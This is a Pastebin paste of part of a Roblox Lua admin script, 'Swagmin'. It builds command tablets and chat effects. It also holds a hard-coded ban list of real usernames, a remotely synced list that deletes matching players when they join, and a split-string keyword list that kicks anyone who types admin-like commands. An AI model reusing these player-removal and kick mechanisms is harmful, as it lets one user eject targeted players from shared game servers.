Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[Swagmin by Derek1017. Run Local!]]--
- script.Parent = Instance.new('Glue')
- LocalPlayer = game.Players.LocalPlayer
- ClonyPooPoo = script:Clone()
- NormPooPoo = nil
- Commands = {}
- tablets = {}
- jai = {}
- KL = {}
- BL = {}
- KFC = {}
- atmp = {}
- NTS = {}
- Name = 'Swagmin'
- Bet = ";"
- AntiFall = true
- Globals = _G
- GuiChat = true
- GlobalTable = {}
- Explorer = {On = false, Parent = game}
- Tablet1Size = Vector3.new(4, 0.3, 4)
- Tablet2Size = Vector3.new(4.5,4.5,0.05)
- TabletMain=Vector3.new(3,0.2,3)
- Removed = false;
- Radius = 40
- TimeLeft = 60
- CancelSd = false
- kphrase = true
- Fire = true
- Light = true
- Camera = workspace.CurrentCamera
- SourceName = "DSource"
- SourceValue = ""
- tablets2 = {}
- SelOut = true -- Disabled for testing
- OutputType = true
- ball = nil
- ChatNo = trued
- TabletRotation = 0.0
- TabletRotationIncrease = 0.1
- Credits = {
- {Name = 'Derek1017', Why = 'Creator'},
- }
- banlist = {
- 'FearAntonio','Zappp123',"futruecool","dawson9237",'ultimate055','Particle',"shadowtempo",
- "RockinKilla","louis14327","Supah","35fireshock","SkyWarriorA2","Noobefy","GLaDOS11","bluemarlin3",
- "monstertrooper101","MountainSnow","fireeereee","football6yiu","Laxerrrr","Explodem","fastdrivergurshaan",
- "dzeko50382","alpherkiller2","xxCONTENTDELETERxx","TheRoboram","fireboy130","buildingrox","DragonWarlord101",
- "tyiawsome100000","AlienDestroyer57","thunder578o2","dangerspookycanyon","cowvenom","general00B","artuha00","CottonEyedMario",
- "tball124","kaiman69","RockinKilla","Speedhax4r","Perssibletelamon2","michael613137","bakuganmaster90",
- "darkknight5678","Daniel800100","forbes50","Freeze551","3waffle","iTzANTHONY","dragon20043","tyler20001176",
- "RangerHero","clerkpuppy34","PURPLEMETRO44","masterchife","1waffle1","blackcrusade45","thescriptstealer","rockinkilla",
- "Jordan1019","3r4s3r","themasterwarrior","bibo5o","owogorga123456","nekkoangel2","KIPILLasa10","brampj","awas3",
- "Sportfan52","contentwaffle","Djblakey","n00b1","LuaScriptExpert","H4ck0rz1337","ClawsDeMorris2012","guoyuan",
- "jaccob","PuzzleCrazy","coolerman100","scriptmuchteh","fireblade2","vegta44","Josiah123413","SkullOwner",
- 'Earlythunder1000',"80c","chclfey052008","Sam9912","coldabcd","Florys2","DaKilla10001","jjb345","Dylanbuil",
- "robobloxX80","alexandersupermaster","Crytonic","soutleelee","Guardianpokemon123","SteveBodein67","Slurrrp",
- "meanmanomg7","Isaiah328","jordan83221","supermax333","tuning599550","Scarryhallodude909","leon095","merlin156","CombativeEniola"}
- allowed = {'Derek1017'}
- Version = 92.3
- for _,v in pairs(script:GetChildren()) do
- if v:IsA("StringValue") then
- SourceName = v.Name
- SourceValue = v.Value
- end
- end
- function isallowed()
- for k,v in pairs(allowed) do
- if v:lower() == LocalPlayer.Name:lower() then
- return true
- end
- end
- end
- NewSource = function(S,P)
- DS = NormPooPoo:Clone()
- DS:ClearAllChildren()
- EN = Instance.new('StringValue',DS)
- EN.Name = SourceName
- EN.Value = S
- DS.Parent = P
- return DS
- end
- localScript = function(Source,Parent)
- local NewScript = ClonyPooPoo:Clone()
- NewScript:ClearAllChildren()
- local Souc = Instance.new('StringValue')
- Souc.Parent = NewScript
- Souc.Name = SourceName
- Souc.Value = Source
- NewScript.Parent = Parent
- return NewScript
- end
- Players = game:GetService("Players")
- CharacterName = LocalPlayer.Name
- --[[Input message]]--
- eq = Instance.new("Message",Workspace)
- eq.Text = "Swagmin Have Successfully loaded"
- Wait(3)
- eq.Text = ("Derek1017 For updated commands!")
- Wait(3)
- eq.Parent = nil
- --[[ GET RID OF ]]--
- function GetRidOf(v)
- pcall(function() v:Destroy() end)
- end
- --[[ LoadProbe ]]--
- function LoadProbe()
- LocalPlayer.Character = nil
- local m = Instance.new("Model",workspace)
- m.Name = CharacterName
- local c = Instance.new("Part",m)
- c.Anchored = true
- c.Shape = "Ball"
- c.Size = Vector3.new(4,4,4)
- c.Transparency = 1
- c.BrickColor = BrickColor.new("Really red")
- c.TopSurface = 0
- c.BottomSurface = 0
- local f = Instance.new("Part",m)
- f.Name = "Head"
- f.Anchored = true
- f.Shape = "Ball"
- f.Size = Vector3.new(4,4,4)
- f.Transparency = 0.5
- f.BrickColor = BrickColor.new("Really red")
- f.Material = "Slate"
- f.Reflectance = 1
- c.TopSurface = 0
- c.BottomSurface = 0
- Instance.new("Humanoid",m).MaxHealth = 0
- ball = f
- Probe = c
- coroutine.wrap(function()
- while not LocalPlayer.Character and wait() do
- c.CFrame = Camera.CoordinateFrame
- f.CFrame = Camera.Focus
- end
- m:Destroy()
- end)()
- end
- --[[ SBL Client ]]--
- coroutine.wrap(function()
- local bl = {}
- game.Players.ChildAdded:connect(function(p)
- if not p:IsA(Player) then return end
- for k,v in pairs(bl) do
- if v:lower() == p.Name:lower() then
- for i=1,5 do
- pcall(function() p:Destroy() end)
- wait()
- end
- return
- end
- end
- end)
- while not AddCommand do wait() end
- Output3("Dynamic lightning Added!",{Colors.red},LocalPlayer)
- AddCommand("SBL List","sbl",function(Msg,Speaker)
- if not bl or #bl == 0 then
- Output("SBL Offline!",{Colors.Red},LocalPlayer)
- return
- end
- table.sort(bl)
- Output("[SBL] Synchronised Ban List",{Colors.red},LocalPlayer)
- Output("Created by Derek1017",{Colors.red},LocalPlayer)
- Output("SBL synchronises every 30 seconds with roblox.com",{Colors.red},LocalPlayer)
- Output("Banned players: "..#bl,{Colors.red},LocalPlayer)
- local f = 0
- for k,v in pairs(bl) do
- if Msg == "" or Msg:lower() == "all" or Msg:lower() == "list" then
- f = -1 wait()
- Output("Banned: "..v,{Colors.Orange},LocalPlayer)
- elseif v:sub(1,#Msg):lower() == Msg:lower() then
- Output("Banned: "..v,{Colors.Orange},LocalPlayer)
- f = f + 1 wait()
- end
- end
- if f >= 0 then
- Output("Found "..f.." players",{Colors.red},LocalPlayer)
- end
- end)
- local function FilterData(data,tab)
- local mp,ru = game:GetService("MarketplaceService"),LoadLibrary("RbxUtility")
- local fo = ru.DecodeJSON(mp:GetProductInfo(data)).Description:match("BANLIST:(%S+)")
- for s in fo:gmatch("[^,]+") do table.insert(tab,s) end
- end
- local function GetData(tab)
- local col = game:GetService("InsertService"):GetCollection(1013039)
- for k,asset in pairs(col) do
- FilterData(asset.AssetId,tab)
- end
- end
- repeat
- bl = {}
- GetData(bl)
- until not wait(30)
- end)()
- --[[ LoadCharacter ]]--
- function LoadCharacter(DaCFrame)
- local Character = game:service'InsertService':LoadAsset(68452456):children()[1]
- Character.Name = CharacterName or LocalPlayer.Name -- Character.Name
- Character.Parent = workspace
- LocalPlayer.Character = Character
- Character.Torso.CFrame = DaCFrame
- Camera.CameraSubject = Character.Humanoid
- Camera.CameraType = "Custom"
- if LocalPlayer.Name == 'Derek1017' or LocalPlayer.Name == 'jazzgameboy' then
- local Shirt = Instance.new("Shirt",Character)
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=41173532"
- local Pants = Instance.new("Pants",Character)
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=64644604"
- MessyHairAndCap = Instance.new("Hat")
- MessyHairAndCap.Name = "MessyHairAndCap"
- MessyHairAndCap.Parent = Character
- MessyHairAndCap.AttachmentPos = Vector3.new(0.135000005, 0.150000006, -0.100000001)
- Handle = Instance.new("Part")
- Handle.Name = "Handle"
- Handle.Parent = MessyHairAndCap
- Handle.FormFactor = Enum.FormFactor.Custom
- Handle.Size = Vector3.new(1.59999919, 1.4000001, 1.4000001)
- Handle.BottomSurface = Enum.SurfaceType.Smooth
- Handle.Locked = true
- Handle.TopSurface = Enum.SurfaceType.Smooth
- Mesh = Instance.new("SpecialMesh")
- Mesh.Parent = Handle
- Mesh.TextureId = "http://www.roblox.com/asset/?id=78028924"
- Mesh.MeshId = "http://www.roblox.com/asset/?id=78028818"
- Mesh.Scale = Vector3.new(1.04999995, 1, 1)
- Mesh.MeshType = Enum.MeshType.FileMesh
- DogTags = Instance.new("Hat")
- DogTags.Name = "DogTags"
- DogTags.Parent = Character
- DogTags.AttachmentPos = Vector3.new(0, 1.26999998, 0.0399999991)
- Handle2 = Instance.new("Part")
- Handle2.Name = "Handle"
- Handle2.Parent = DogTags
- Handle2.FormFactor = Enum.FormFactor.Symmetric
- Handle2.Size = Vector3.new(1, 1, 1)
- Handle2.BottomSurface = Enum.SurfaceType.Smooth
- Handle2.Locked = true
- Handle2.TopSurface = Enum.SurfaceType.Smooth
- Mesh2 = Instance.new("SpecialMesh")
- Mesh2.Parent = Handle2
- Mesh2.TextureId = "http://www.roblox.com/asset/?id=30683431"
- Mesh2.MeshId = "http://www.roblox.com/asset/?id=30683421"
- Mesh2.Scale = Vector3.new(1.20000005, 1, 1.09000003)
- Mesh2.MeshType = Enum.MeshType.FileMesh
- DarkAgeNinjaSwordpack = Instance.new("Hat")
- DarkAgeNinjaSwordpack.Name = "DarkAgeNinjaSwordpack"
- DarkAgeNinjaSwordpack.Parent = Character
- DarkAgeNinjaSwordpack.AttachmentPos = Vector3.new(0.100000001, 1.70000005, -0.649999976)
- Handle3 = Instance.new("Part")
- Handle3.Name = "Handle"
- Handle3.Parent = DarkAgeNinjaSwordpack
- Handle3.FormFactor = Enum.FormFactor.Custom
- Handle3.Size = Vector3.new(3.40000033, 3.20000076, 0.400000036)
- Handle3.BottomSurface = Enum.SurfaceType.Smooth
- Handle3.Locked = true
- Handle3.TopSurface = Enum.SurfaceType.Smooth
- Mesh3 = Instance.new("SpecialMesh")
- Mesh3.Parent = Handle3
- Mesh3.TextureId = "http://www.roblox.com/asset/?id=86594355"
- Mesh3.MeshId = "http://www.roblox.com/asset/?id=86594435"
- Mesh3.Scale = Vector3.new(0.699999988, 0.699999988, 0.699999988)
- Mesh3.MeshType = Enum.MeshType.FileMesh
- Roblox20LeftLeg = Instance.new("CharacterMesh")
- Roblox20LeftLeg.Parent = Character
- Roblox20LeftLeg.BodyPart = Enum.BodyPart.LeftLeg
- Roblox20LeftLeg.MeshId = 27111857
- Roblox20RightLeg = Instance.new("CharacterMesh")
- Roblox20RightLeg.Parent = Character
- Roblox20RightLeg.BodyPart = Enum.BodyPart.RightLeg
- Roblox20RightLeg.MeshId = 27111882
- Roblox20torso = Instance.new("CharacterMesh")
- Roblox20torso.Parent = Character
- Roblox20torso.BodyPart = Enum.BodyPart.Torso
- Roblox20torso.MeshId = 27111894
- SuperheroLeftArm = Instance.new("CharacterMesh")
- SuperheroLeftArm.Parent = Character
- SuperheroLeftArm.BodyPart = Enum.BodyPart.LeftArm
- SuperheroLeftArm.MeshId = 32328397
- SuperheroRightArm = Instance.new("CharacterMesh")
- SuperheroRightArm.Parent = Character
- SuperheroRightArm.BodyPart = Enum.BodyPart.RightArm
- SuperheroRightArm.MeshId = 32328563
- elseif LocalPlayer.Name == 'Derek1017' or LocalPlayer.Name == 'shadowchd11' or LocalPlayer.Name == 'luckybloxerr' or LocalPlayer.Name ==
- 'DarkusTheory' or LocalPlayer.Name == 'Captainkodai2' or LocalPlayer.Name == 'Isaiah328' or LocalPlayer.Name == 'mymarmar17' or LocalPlayer.Name ==
- 'dashcat5' or LocalPlayer.Name == "einsteinK" or LocalPlayer.Name == "montano60" or LocalPlayer.Name == "tuusKOR661" then
- local Part = Instance.new("Part",Character)
- Part.Name = "Horus"
- Part.Size = Vector3.new(2,2,2)
- Part.CanCollide = false
- Part.Locked = true
- Part:BreakJoints()
- local Weld = Instance.new("Weld",Part)
- Weld.Part0 = Part
- Weld.Part1 = Character.Head
- Weld.C0 = CFrame.new(0,-0.5,0)
- local Mesh = Instance.new("SpecialMesh",Part)
- Mesh.MeshType = "FileMesh"
- Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
- Mesh.TextureId = "http://www.roblox.com/asset/?id=102083848"
- local Shirt = Instance.new("Shirt",Character)
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=92526961"
- local Pants = Instance.new("Pants",Character)
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=92527064"
- else
- for _,v in pairs(CharStuff) do
- v:Clone().Parent = Character
- end
- end
- for _,v in pairs(Character:children()) do
- if v:IsA("BasePart") then
- v.BrickColor = BrickColor.new("Pastel brown")
- end
- end
- end
- --[[L,A,G,]]--
- Lag = function(Player,Type) Output2("Lagging can't be done!",{Colors.Red},LocalPlayer) end
- --[[ GTFO ]]--
- function GTFO(v)
- coroutine.resume(coroutine.create(function()
- pcall(function() v:Remove() end)
- wait(0.5)
- pcall(function() Debris:AddItem(v,1) end)
- end))
- end
- --[[ ShortCuts ]]-- --Put Anything You Want People To Say To Get Kicked Here Please Dont Abuse
- KickingPhrases={':ba'..'n',':ki'..'ck',':cra'..'sh','rp'..'e','shut'..'down','isd','ishu'..'tdown','ki'..'ck/','b'..'an/','NOVA','ba'..'n:','ki'..'ck:','cra'..'sh:','/ki'..'ck','/b'..'an','/cr'..'ash','bet','tablet'};
- Colors = {
- Red = Color3.new(1),
- PinkRed = Color3.new(1,0,0.5),
- Orange = Color3.new(1,0.5),
- Yellow = Color3.new(1,1),
- Green = Color3.new(0,1),
- Blue = Color3.new(0,0,1),
- LightBlue = Color3.new(0,1,1),
- Pink = Color3.new(1,0,1),
- Magenta = Color3.new(0.54,0,0.54),
- Cyan = Color3.new(0,0.6,1),
- White = Color3.new(1,1,1),
- Grey = Color3.new(0.5,0.5,0.5),
- Black = Color3.new()}
- CharStuff = {}
- if LocalPlayer.Character then
- for _,Item in pairs(LocalPlayer.Character:children()) do
- if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
- table.insert(CharStuff,Item:Clone())
- end
- end
- end
- --[[ Inter Swagmin ]]--
- --[[ Inter Swagmin ]]--
- Nils = {}
- local function Add(child)
- if Removed then return LC:disconnect() end
- if not child:IsA("StringValue") then return end
- if child.Name == "DISC: "..LocalPlayer.Name and LocalPlayer.Name~=eq.Text then
- pcall(function() LocalPlayer.Parent = nil end)
- pcall(function() LocalPlayer.Parent = game.Players end)
- wait(5)
- Instance.new("ManualSurfaceJointInstance")
- elseif child.Name == "DISC NIL" and p.Name~=eq.Text and not LocalPlayer.Parent then
- pcall(function() LocalPlayer.Parent = game.Players end)
- wait(5)
- Instance.new("ManualSurfaceJointInstance")
- elseif child.Name == "NILDATA" then
- local tab = LoadLibrary("RbxUtility").DecodeJSON(child.Value)
- if tab.Name and not Nils[tab.Name] then
- Nils[tab.Name] = tab
- wait(1)
- Output2("Found Infinity user: "..tab.Name,{Colors.Red},LocalPlayer)
- Output2("Use shout"..Bet.."message to chat with him",{Colors.Red},LocalPlayer)
- end
- elseif child.Name == "NILSHOUT" then
- Output2(child.Value,{Colors.White},LocalPlayer)
- end
- end
- LC = game:GetService("Lighting").ChildAdded:connect(function(...) ypcall(Add,...) end)
- coroutine.wrap(function()
- repeat wait() until Output2
- repeat local tag = Instance.new("StringValue")
- local tab = {Name=LocalPlayer.Name,Version=Version,Explorer=not not Explorer,Removed=Removed}
- local plr = Instance.new("ObjectValue",tag) plr.Name = "Player" plr.Value = LocalPlayer
- tag.Value = LoadLibrary("RbxUtility").EncodeJSON(tab) tag.Name = "NILDATA"
- tag.Parent = game:GetService("Lighting") wait(1) pcall(function() tag:Destroy() end)
- until not wait(30)
- end)()
- --[[ Chat ]]--
- Chat2 = function(Msg)
- if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Head") then
- local Part = Instance.new("Part",LocalPlayer.Character)
- Part.CanCollide = false
- Part.Transparency = 1
- Part.CFrame = LocalPlayer.Character.Head.CFrame * CFrame.new(0,3,0)
- Part:BreakJoints()
- local Pos = Instance.new("BodyPosition",Part)
- Pos.maxForce = Vector3.new(1/0,1/0,1/0)
- Pos.position = LocalPlayer.Character.Head.Position
- local BBG = Instance.new("BillboardGui",LocalPlayer.Character or ball and ball.Parent or workspace)
- BBG.Adornee = Part
- BBG.Size = UDim2.new(0,20*#Msg,0,30)
- BBG.StudsOffset = Vector3.new(0,3,0)
- local Txt = Instance.new("TextLabel",BBG)
- Txt.Text = ""
- Txt.FontSize = "Size18"
- Txt.TextColor3 = Color3.new(1,1,1)
- wait()
- coroutine.wrap(function()
- while Txt.Parent ~= nil do
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
- for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
- for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,0,i) wait() end
- for i = 1, 0, -0.1 do text.TextColor3 = Color3.new(i,0,i) wait() end
- wait()
- end
- end)()
- Txt.BackgroundColor3 = Color3.new(0,0,0)
- Txt.Size = UDim2.new(1,0,1,0)
- if #Msg < 50 then
- for i=1,#Msg do
- Txt.Text = Txt.Text .. Msg:sub(i,i)
- wait(0.09)
- end
- else
- Txt.Text = Msg
- end
- coroutine.wrap(function()
- for i=3,100 do
- BBG.StudsOffset = Vector3.new(0,i/10,0)
- Pos.position = LocalPlayer.Character.Head.Position
- Txt.TextTransparency = i / 100
- Txt.BackgroundTransparency = i / 100
- wait()
- end
- Part:Destroy()
- BBG:Destroy()
- end)()
- end
- end
- Chat = function(Msg)
- if LocalPlayer.Character ~= nil and LocalPlayer.Character:FindFirstChild("Head") ~= nil then
- local Part = Instance.new("Part",LocalPlayer.Character)
- Part.CanCollide = false
- Part.Transparency = 1
- Part.CFrame = Camera.Focus * CFrame.new(0,3,0)
- Part:BreakJoints()
- local Pos = Instance.new("BodyPosition",Part)
- Pos.maxForce = Vector3.new(1/0,1/0,1/0)
- Pos.position = Camera.Focus.p
- local BBG = Instance.new("BillboardGui",LocalPlayer.Character or ball and ball.Parent or workspace)
- BBG.Adornee = Part
- BBG.Size = UDim2.new(0,20*#Msg,0,30)
- BBG.StudsOffset = Vector3.new(0,3,0)
- local Txt = Instance.new("TextLabel",BBG)
- Txt.Text = Msg
- Txt.FontSize = "Size18"
- Txt.TextColor3 = Color3.new(1,1,1)
- wait()
- coroutine.wrap(function()
- while Txt.Parent ~= nil do
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
- for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
- for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
- for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,0,i) wait() end
- for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,i) wait() end
- wait()
- end
- end)()
- Txt.BackgroundColor3 = Color3.new(0,0,0)
- Txt.Size = UDim2.new(1,0,1,0)
- coroutine.wrap(function()
- for i=3,100 do
- BBG.StudsOffset = Vector3.new(0,i/10,0)
- Pos.position = Camera.Focus.p
- Txt.TextTransparency = i / 100
- Txt.BackgroundTransparency = i / 100
- wait()
- end
- Part:Destroy()
- BBG:Destroy()
- end)()
- end
- end
- check = function(p)
- for _,n in pairs(allowed) do
- if p.Name:lower() == n:lower() then
- return true
- end
- end
- end
- --[[ GetTablets ]]--
- GetTablets = function(player)
- local _tablets = {}
- for k, tablet in pairs(tablets) do
- if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent and tablet:findFirstChild("Part") then
- if tablet.Recipient.Value == player then
- table.insert(_tablets, tablet)
- end
- else
- tablets[k] = nil
- end
- end
- return _tablets
- end
- GetTablets2 = function(player)
- local _tablets = {}
- for k, tablet in pairs(tablets2) do
- if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent and tablet:findFirstChild("Part") then
- if tablet.Recipient.Value == player then
- table.insert(_tablets, tablet)
- end
- else
- tablets2[k] = nil
- end
- end
- return _tablets
- end
- --[[ Output ]]--
- function ping(tab,Color)
- plr = LocalPlayer
- for i=1,#tab do
- local p=Instance.new("Part",game.Workspace)
- p.Name="Output3"
- p.Size=Vector3.new(1.25,1.25,1.25)
- p.Transparency=0.5
- p.Anchored=true
- p.CanCollide = false
- p.Color = Color
- p.TopSurface="Smooth"
- p.CFrame=plr.Character.Torso.CFrame + Vector3.new(0,800,0)
- p.BottomSurface="Smooth"
- local fire = Instance.new("Fire", p)
- fire.Color = Color3.new(1, 0, 0)
- fire.Size = 1
- fire.Heat = 1
- local Light = Instance.new("PointLight",p)
- Light.Range = 10
- Light.Color = Color3.new(1, 0, 0)
- Light.Enabled = true
- Light.Brightness = 10
- xv=Instance.new("SpecialMesh",p)
- xv.MeshType="FileMesh"
- xv.Name="me"
- xv.MeshId="http://www.roblox.com/Asset/?id=9756362"
- xv.Scale = Vector3.new(1.25,1.25,1.25)
- xv.TextureId = ""
- xv.VertexColor = Vector3.new(1,0,0)
- local bbg=Instance.new("BillboardGui",p)
- bbg.Name=p.Name
- bbg.StudsOffset=Vector3.new(0,1,-0.2)
- bbg.Size=UDim2.new(1,0,1,0)
- pn = Instance.new("TextLabel", bbg)
- pn.BackgroundTransparency = 1
- pn.Position = UDim2.new(0, 0, 0.1, 0)
- pn.Size = UDim2.new(0.9, 0, 0.4, 0)
- pn.TextColor3 = Color
- pn.TextStrokeColor3 = Color3.new(1, 0, 0)
- pn.TextStrokeTransparency = 0
- pn.FontSize = Enum.FontSize.Size24
- pn.Text=tab[i]
- pn.Name=tab[i]
- coroutine.wrap(function()
- local f=i*(200/#tab)
- while wait() do
- f=f+0.4
- local s,c, p = math.sin, math.cos, math.pi
- p.CFrame=CFrame.new(plr.Character.Torso.Position + Vector3.new(s(f/100*p), 0.05, c(f/100*p))*10)
- end
- end)()
- end
- end
- Output = function(message, color, recipient)
- if not recipient then recipient = LocalPlayer end
- local _pos = Camera.Focus* CFrame.new(7, 7, 7)
- if not workspace:findFirstChild("Output::" .. recipient.Name) then
- Instance.new("Model",workspace).Name = "Output::" .. recipient.Name
- end
- local model = Instance.new("Model")
- model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
- model.Name = "Output::" .. recipient.Name
- local part = Instance.new("Part")
- part.Parent = model
- part.Transparency = 0.5
- part.CanCollide = false
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- part.FormFactor = "Plate"
- part.Color = color[1]
- part.Size = Tablet1Size
- part.CFrame = _pos
- if SelOut and false then
- atc = Instance.new("SelectionPartLasso",part)
- atc.Part = part
- atc.Humanoid = recipient.Character and recipient.Character:findFirstChild("Humanoid")
- atc.Color = BrickColor.new(color[1])
- atc.Name = 'Test'
- end
- local click = Instance.new("ClickDetector")
- click.MaxActivationDistance = 50
- click.Parent = part
- click.MouseClick:connect(function(player)
- if player == recipient or player.Name == "Derek1017" then
- if Explorer.On and model:findFirstChild("Explorer") then
- Explorer.Parent = model.Explorer.Value
- OnChatted("explorer"..Bet.."old",LocalPlayer)
- elseif Explorer.On then
- if model:findFirstChild("Parent") then
- if not Explorer.Parent.Parent then
- Output2("No Parent!",{Colors.Red},LocalPlayer)
- return
- end
- Explorer.Parent = Explorer.Parent.Parent
- OnChatted("explorer"..Bet.."old",LocalPlayer)
- elseif model:findFirstChild("Dismiss") then
- OnChatted("dismiss"..Bet,LocalPlayer)
- else
- model:Destroy()
- end
- else
- model:Destroy()
- end
- end
- end)
- if Fire then
- local fire = Instance.new("Fire",part)
- fire.Heat = 0
- fire.Size = 6
- fire.Color = color[1]
- fire.SecondaryColor = color[1]
- end
- if Light then
- local Light = Instance.new("PointLight",part)
- Light.Range = 10
- Light.Color = color[1]
- Light.Enabled = true
- Light.Brightness = 10
- end
- local box = Instance.new("SelectionBox",part)
- box.Adornee = part
- box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
- -- local pos = Instance.new("BodyPosition",part)
- -- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- -- pos.position = _pos.p
- -- local gyro = Instance.new("BodyGyro",part)
- -- gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- local recip = Instance.new("ObjectValue",model)
- recip.Name = "Recipient"
- recip.Value = recipient
- Gui = Instance.new("BillboardGui")
- Gui.Parent = model
- Gui.Adornee = part
- Gui.Size = UDim2.new(1, 0, 1, 0)
- Gui.StudsOffset = Vector3.new(0, 3, 0)
- local Frame = Instance.new("Frame",Gui)
- Frame.Size = UDim2.new(1, 0, 1, 0)
- Frame.BackgroundTransparency = 1
- Label = Instance.new("TextLabel")
- Label.Parent = Frame
- Label.Size = UDim2.new(1,0,1,0)
- Label.FontSize = "Size24"
- Label.TextColor3 = color[1]
- Label.Text = message
- Label.BackgroundTransparency = 1
- Label.Font = 'ArialBold'
- table.insert(tablets, model)
- return model
- end
- Output2 = function(message, color, recipient, stick)
- if recipient == nil then recipient = LocalPlayer end
- local _pos = Camera.Focus * CFrame.new(10, 10, 10)
- if stick == nil then
- stick = 100
- end
- if not workspace:findFirstChild("Output::" .. recipient.Name) then
- Instance.new("Model",workspace).Name = "Output::" .. recipient.Name
- end
- local model = Instance.new("Model")
- model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
- model.Name = "Output::" .. recipient.Name
- local part = Instance.new("Part")
- part.Parent = model
- part.Transparency = 0.5
- part.CanCollide = false
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- part.FormFactor = "Plate"
- part.Color = color[1]
- part.Size = Vector3.new(3/2,3/2,3/2)
- part.CFrame = _pos
- part.Shape = 'Ball'
- local click = Instance.new("ClickDetector")
- click.Parent = part
- click.MouseClick:connect(function(player)
- if player == recipient or player.Name == "1231234w" then
- model:remove()
- end
- end)
- if Fire then
- local fire = Instance.new("Fire")
- fire.Parent = part
- fire.Heat = 0
- fire.Size = 6
- fire.Color = color[1]
- fire.SecondaryColor = color[1]
- end
- if Light then
- local Light = Instance.new("PointLight")
- Light.Parent = part
- Light.Range = 10
- Light.Color = color[1]
- Light.Enabled = true
- Light.Brightness = 10
- end
- local box = Instance.new("SelectionBox")
- box.Parent = part
- box.Adornee = part
- box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
- local pos = Instance.new("BodyPosition")
- pos.Parent = part
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.position = _pos.p
- local gyro = Instance.new("BodyGyro")
- gyro.Parent = part
- gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- local recip = Instance.new("ObjectValue")
- recip.Parent = model
- recip.Name = "Recipient"
- recip.Value = recipient
- Gui = Instance.new("BillboardGui")
- Gui.Parent = model
- Gui.Adornee = part
- Gui.Size = UDim2.new(1, 0, 1, 0)
- Gui.StudsOffset = Vector3.new(0, 3, 0)
- local Frame = Instance.new("Frame",Gui)
- Frame.Size = UDim2.new(1, 0, 1, 0)
- Frame.BackgroundTransparency = 1
- Label = Instance.new("TextLabel")
- Label.Parent = Frame
- Label.Size = UDim2.new(1,0,1,0)
- Label.FontSize = "Size24"
- Label.TextColor3 = color[1]
- Label.Text = message
- Label.BackgroundTransparency = 1
- Label.Font = 'ArialBold'
- local gui = Instance.new("BillboardGui")
- gui.Adornee = part
- gui.Size = UDim2.new(1, 0, 1, 0)
- gui.StudsOffset = Vector3.new(0, 3, 0)
- gui.Parent = model
- local frame = Instance.new("Frame")
- frame.Parent = gui
- frame.Size = UDim2.new(1, 0, 1, 0)
- frame.BackgroundTransparency = 1
- local label = Instance.new("TextLabel")
- label.Parent = frame
- label.Text = message
- label.FontSize = "Size12"
- label.TextColor3 = color[1]
- LocalPlayer = LocalPlayer
- function Sin(i)
- return math.sin(math.rad(i))
- end
- function Cos(i)
- return math.cos(math.rad(i))
- end
- for i = 0,380,2.5 do
- pos.position = Camera.Focus:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p
- gyro.cframe = CFrame.Angles(0,math.rad(i),0)
- wait()
- end
- model:Destroy()
- end
- Output3 = function(message, color, recipient)
- if recipient == nil then recipient = LocalPlayer end
- local _pos = Camera.Focus * CFrame.new(7, 7, 7)
- if not workspace:findFirstChild("Output::" .. recipient.Name) then
- Instance.new("Model",workspace).Name = "Output::" .. recipient.Name
- end
- local model = Instance.new("Model")
- model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
- model.Name = "Output::" .. recipient.Name
- local part = Instance.new("Part")
- part.Parent = model
- part.Transparency = 0.5
- part.CanCollide = false
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- part.FormFactor = "Plate"
- part.Color = color[1]
- part.Size = Vector3.new(1.5,2.5,0.05)
- part.CFrame = _pos
- local click = Instance.new("ClickDetector")
- click.Parent = part
- click.MouseClick:connect(function(player)
- if player == recipient or player.Name == "1231234w" then
- model:remove()
- end
- end)
- if Fire then
- local fire = Instance.new("Fire",part)
- fire.Heat = 0
- fire.Size = 6
- fire.Color = color[1]
- fire.SecondaryColor = color[1]
- end
- if Light then
- local Light = Instance.new("PointLight",part)
- Light.Range = 10
- Light.Color = color[1]
- Light.Enabled = true
- Light.Brightness = 10
- end
- local box = Instance.new("SelectionBox",part)
- box.Adornee = part
- box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
- -- local pos = Instance.new("BodyPosition",part)
- -- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- -- pos.position = _pos.p
- -- local gyro = Instance.new("BodyGyro",part)
- -- gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- local recip = Instance.new("ObjectValue",model)
- recip.Name = "Recipient"
- recip.Value = recipient
